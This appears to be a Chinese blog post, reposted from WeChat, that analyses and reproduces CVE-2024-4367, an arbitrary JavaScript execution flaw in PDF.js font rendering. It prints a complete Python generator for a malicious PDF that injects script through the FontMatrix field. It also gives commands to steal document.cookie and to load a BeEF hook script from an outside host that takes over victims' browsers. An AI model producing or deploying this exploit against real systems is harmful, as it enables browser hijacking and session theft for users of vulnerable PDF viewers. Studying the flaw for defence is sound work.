简介
PDF.js是使用 HTML5 构建的可移植文档格式 (PDF) 查看器
这几天通过研究和实战发现这个漏洞对网站的影响是很大的,网站有PDF预览,编辑查看等功都可以测一下,这xss漏洞原理和普通PDF的xss不一样,这个是可以完整利用整个xss漏洞的效果
影响范围
Mozilla PDF.js < 4.2.67
pdfjs-dist (npm) < 4.2.67
react-pdf (npm) < 7.7.3
8.0.0<= react-pdf (npm) < 8.0.2
漏洞原理
这个漏洞的影响范围很广,不仅影响到所有使用Firefox浏览器的用户(版本小于126)
这个有一个国外的写的很详细的漏洞原理:https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js
总体大概意思就是,这个漏洞并不涉及pdf格式的js脚本功能,而是在字体渲染代码的问题
pdf中的字体可以采用多种不同的格式,对于现代格式如truetype,pdf.js大多依赖于浏览器自己的字体渲染器,在其他情况下,它必须手动将字形(即字符)描述转换为页面上的曲线,为了优化性能每个字形都预先编译了一个路径生成器函数
如果支持,这是通过创建一个JavaScript对象来完成的,该对象具有一个包含组成路径的指令的函数体,看一下下面代码就是官网给的代码
// If we can, compile cmds into JS for MAXIMUM SPEED...
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
const jsBuf = [];
for (const current of cmds) {
const args = current.args !== undefined ? current.args.join(",") : "";
jsBuf.push("c.", current.cmd, "(", args, ");n");
}
// eslint-disable-next-line no-new-func
console.log(jsBuf.join(""));
return (this.compiledGlyphs[character] = new Function(
"c",
"size",
jsBuf.join("")
));
}
攻击者可以通过控制这些指令的生成,插入自己的代码,会在渲染包含这样的字形时立即执行该代码
漏洞POC
现在github已经有人构建好了POC
然后你使用的是github上面的第一个poc运行报错,可以叫python升级到python3.12解决这个问题
使用就很简单这个我使用的是下面这个POC
import io
import sys
# CVE-2024-4367
def create_malicious_pdf(filename, payload):
print("[*] POC Generated")
pdf_content = f'''
%PDF-1.4
%
8 0 obj
<<
/PatternType 2
/Shading<<
/Function<<
/Domain[0 1]
/C0[0 0 1]
/C1[1 0.6 0]
/N 1
/FunctionType 2
>>
/ShadingType 2
/Coords[46 400 537 400]
/Extend[false false]
/ColorSpace/DeviceRGB
>>
/Type/Pattern
>>
endobj
5 0 obj
<<
/Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 573 0 573 0 341]
/Type/Font
/BaseFont/PAXEKO+SourceSansPro-Bold
/LastChar 102
/Encoding/WinAnsiEncoding
/FontMatrix [0.1 0 0 0.1 0 (1); n{payload}]
/Subtype/Type1
/FirstChar 65
/FontDescriptor 9 0 R
>>
endobj
2 0 obj
<<
/Kids[3 0 R]
/Type/Pages
/Count 1
>>
endobj
9 0 obj
<<
/Type/FontDescriptor
/ItalicAngle 0
/Ascent 751
/FontBBox[-6 -12 579 713]
/FontName/PAXEKO+SourceSansPro-Bold
/StemV 100
/CapHeight 713
/Flags 32
/FontFile3 10 0 R
/Descent -173
/MissingWidth 250
>>
endobj
6 0 obj
<<
/Length 128
>>
stream
47 379 489 230 re S
/Pattern cs
BT
50 500 Td
117 TL
/F1 150 Tf
/P1 scn
(AbCdEf) Tj
/P2 scn
(AbCdEf) '
ET
endstream
endobj
3 0 obj
<<
/Type/Page
/Resources 4 0 R
/Contents 6 0 R
/Parent 2 0 R
/MediaBox[0 0 595.2756 841.8898]
>>
endobj
10 0 obj
<<
/Length 800
/Subtype/Type2
>>
stream
endstream
endobj
7 0 obj
<<
/PatternType 1
/Matrix[1 0 0 1 50 0]
/Length 58
/TilingType 1
/BBox[0 0 16 16]
/YStep 16
/PaintType 1
/Resources<<
>>
/XStep 16
>>
stream
0.65 g
0 0 16 16 re f
0.15 g
0 0 8 8 re f
8 8 8 8 re f
endstream
endobj
4 0 obj
<<
/Pattern<<
/P1 7 0 R
/P2 8 0 R
>>
/Font<<
/F1 5 0 R
>>
>>
endobj
1 0 obj
<<
/Pages 2 0 R
/Type/Catalog
/OpenAction[3 0 R /Fit]
>>
endobj
xref
0 11
0000000000 65535 f
0000002260 00000 n
0000000522 00000 n
0000000973 00000 n
0000002178 00000 n
0000000266 00000 n
0000000794 00000 n
0000001953 00000 n
0000000015 00000 n
0000000577 00000 n
0000001085 00000 n
trailer
<<
/ID[(w4f) (w4f)]
/Root 1 0 R
/Size 11
>>
startxref
2333
%%EOF
'''
with io.FileIO(filename, "wb") as file:
file.write(pdf_content.encode())
if __name__ == "__main__":
if len(sys.argv) != 3:
print('''Usage: python poc.py malicious.pdf "alert('S4vvy')"''')
sys.exit(1)
filename = sys.argv[1]
custom_payload = sys.argv[2]
create_malicious_pdf(filename, custom_payload)
生成poc命令:python3 poc.py malicious.pdf "alert(document.cookie)"
漏洞复现
搭建环境
这个我就随便选择一个漏洞版本的地址:https://github.com/mozilla/pdf.js
下载解压当前的web目录
访问http:/xxxxxx/web/viewer.html
然后把上面生成的POC放到web服务器上面预览显示,触发了漏洞
这个我简单构建一个引用外部的js,这个poc使用的github第一个poc
python3 exp.py "const script = document.createElement('script'); script.src = 'http://192.168.96.58:3000/hook.js'; document.head.appendChild(script);"
上面我添加的远程链接是beef的js
可以看见上线了
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!
原文始发于微信公众号(W啥都学):【分析和实战】CVE-2024-4367 – PDF.js 中的任意 JavaScript 执行
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论